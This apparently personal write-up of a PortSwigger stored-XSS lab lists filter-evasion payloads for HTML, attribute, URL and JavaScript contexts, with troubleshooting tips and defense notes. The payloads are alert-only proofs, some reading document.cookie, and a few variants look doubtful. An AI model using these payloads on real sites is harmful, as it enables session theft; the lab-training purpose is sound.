Skip to main content
XsiSec.com
HomeReposBlogProjectsPortfolio
© 2026 XsiSec.com
Security rules |security.txt
Updated 2026-08-15 · v1.0.0+2026-08-14.82f92cb · 82f92cb
← Back to overview
Security article

Stored XSS into HTML context with nothing encoded

Stored XSS into HTML context with nothing encoded: Experiment with XSS filter evasion techniques to achieve JavaScript execution without user interaction in a lab that strips some HTML tags (e.g., <script>). Document what worked (e.g., IMG/SVG auto‑firing events) and keep a ready‑to‑use payload list. • PortSwigger • Stored-XSS, XSS • lab2, portswigger

2022-10-064 tags
Tags

🎯 Objective

Experiment with XSS filter evasion techniques to achieve JavaScript execution without user interaction in a lab that strips some HTML tags (e.g., <script>). Document what worked (e.g., IMG/SVG auto‑firing events) and keep a ready‑to‑use payload list.


🧩 What I’m exploiting

  • Reflected/injected content is rendered into the page, but the app strips certain tags (likely <script>, maybe others).
  • The browser still parses benign tags like <img>/<svg>, and auto‑firing events (onerror, onload) can run JavaScript without clicks.
  • In attribute/HTML contexts, I can break out of quotes/tags and append my own element with an auto‑firing handler.

🧭 Steps I Took

  1. Basic probes to confirm injection:
    • Plain text → appears on page.
    • HTML tags like <b> → stripped (confirmed sanitizer).
  2. Context check (where is input rendered?):
    • If inside an attribute with single quotes → plan payload with ' to close, then > to break the tag.
    • If inside HTML text → inject a benign element that autotriggered (<img src=x onerror=...>).
  3. Auto‑fire approach (no user interaction):
    • Used broken image to fire onerror:
      html
      <img src=x onerror=alert(1)>
    • Used SVG onload:
      html
      <svg onload=alert(1)></svg>
  4. Obfuscation/evading naive filters:
    • Mixed case attributes: <Img sRc=x oNeRrOr=alert(1)>
    • Whitespace tricks: <img src=x onerror = alert(1)>, tabs/newlines in attribute name/value
    • Attribute‑less tag break from quoted attribute: '"><img src=x onerror=alert(1)>
  5. Confirmed execution: image error and SVG load fired automatically; no click needed.

📎 Copy‑paste payloads

A) HTML text context (sanitizer removes <script>)

html
<img src=x onerror=alert(1)>
<svg onload=alert(1)></svg>
<svg><animate onbegin=alert(1) attributeName=x dur=1s></animate></svg>

With cookie read (if not HttpOnly):

html
<img src=x onerror=alert(document.cookie)>
<svg onload=alert(document.cookie)></svg>

B) Attribute‑quoted context (break out, then inject)

Single‑quoted attribute:

text
'"><img src=x onerror=alert(1)>
'"><svg onload=alert(1)></svg>

Double‑quoted attribute:

text
"\><img src=x onerror=alert(1)>
"\><svg onload=alert(1)></svg>

C) URL / javascript: (if sink sets href/src from input)

text
javascript:alert(1)

URL‑encoded:

text
javascript%3Aalert(1)

Note: Modern browsers or CSP may block javascript:; prefer the auto‑firing HTML approach above.

D) JavaScript string context (if input lands inside a JS string)

js
');alert(1);//
');alert(document.cookie);//

No‑quotes variant (if concatenated into code without quotes):

js
-alert(1)-

E) Obfuscation tricks

html
<Img sRc=x oNeRrOr=alert(1)>
<svg/onload=alert(1)>
<img src=x onerror=alert`1`>         <!-- template literal grave accents -->
<img src=x o\nerror=alert(1)>       <!-- newline/escape confusion (varies by parser) -->

F) URL‑encoded quick drops (for query parameters)

text
%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E
%3Csvg%20onload%3Dalert(1)%3E%3C/svg%3E
%27%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E

🧪 Troubleshooting

  • Nothing executes?
    • Ensure your input reaches HTML, not plain text (some contexts HTML‑encode everything).
    • Try <svg onload=...> if <img onerror> is filtered; or <svg><animate onbegin=...> which can self‑start.
  • Tags stripped?
    • Try lowercase/uppercase mix, insert spaces/tabs/newlines, or self‑closing syntax: <svg/onload=alert(1)>.
    • Some filters block onerror by name—try alternative auto events (onload, onanimationstart, onbegin).
  • Inside attribute value?
    • Use quote break then > to exit the tag, inject your element (see section B).
  • document.cookie empty?
    • Cookies might be HttpOnly; use alert(1) to prove execution.
  • CSP present?
    • Inline JS may be blocked. Look for allowed sources or demonstrate control (e.g., inject benign but visible markup).

🔒 Defense (notes)

  • Apply context‑aware output encoding (attributes vs. HTML vs. JS).
  • Sanitize with a robust HTML sanitizer (e.g., DOMPurify with strict config) and keep allowlists minimal.
  • Remove/avoid dangerous sinks (innerHTML, string‑built JS, href from untrusted input).
  • Enforce a strict CSP (nonces/hashes; block javascript: and data:; avoid unsafe-inline).

✅ Result

  • Confirmed the app strips some tags but allows IMG/SVG.
  • Achieved no‑click XSS via <img src=x onerror=...> and <svg onload=...>.
  • Built a payload library with obfuscated variants to bypass naive filters.
Navigate

In this post

  1. 01🎯 Objective
  2. 02🧩 What I’m exploiting
  3. 03🧭 Steps I Took
  4. 04📎 Copy‑paste payloads
  5. 05A) HTML text context (sanitizer removes )
  6. 06B) Attribute‑quoted context (break out, then inject)
  7. 07C) URL / javascript: (if sink sets href/src from input)
  8. 08D) JavaScript string context (if input lands inside a JS string)
  9. 09E) Obfuscation tricks
  10. 10F) URL‑encoded quick drops (for query parameters)
  11. 11🧪 Troubleshooting
  12. 12🔒 Defense (notes)
  13. 13✅ Result
Search
Explore

Popular tags

Browse all 30 tags

Comments

0 comments

No comments yet — be the first to comment.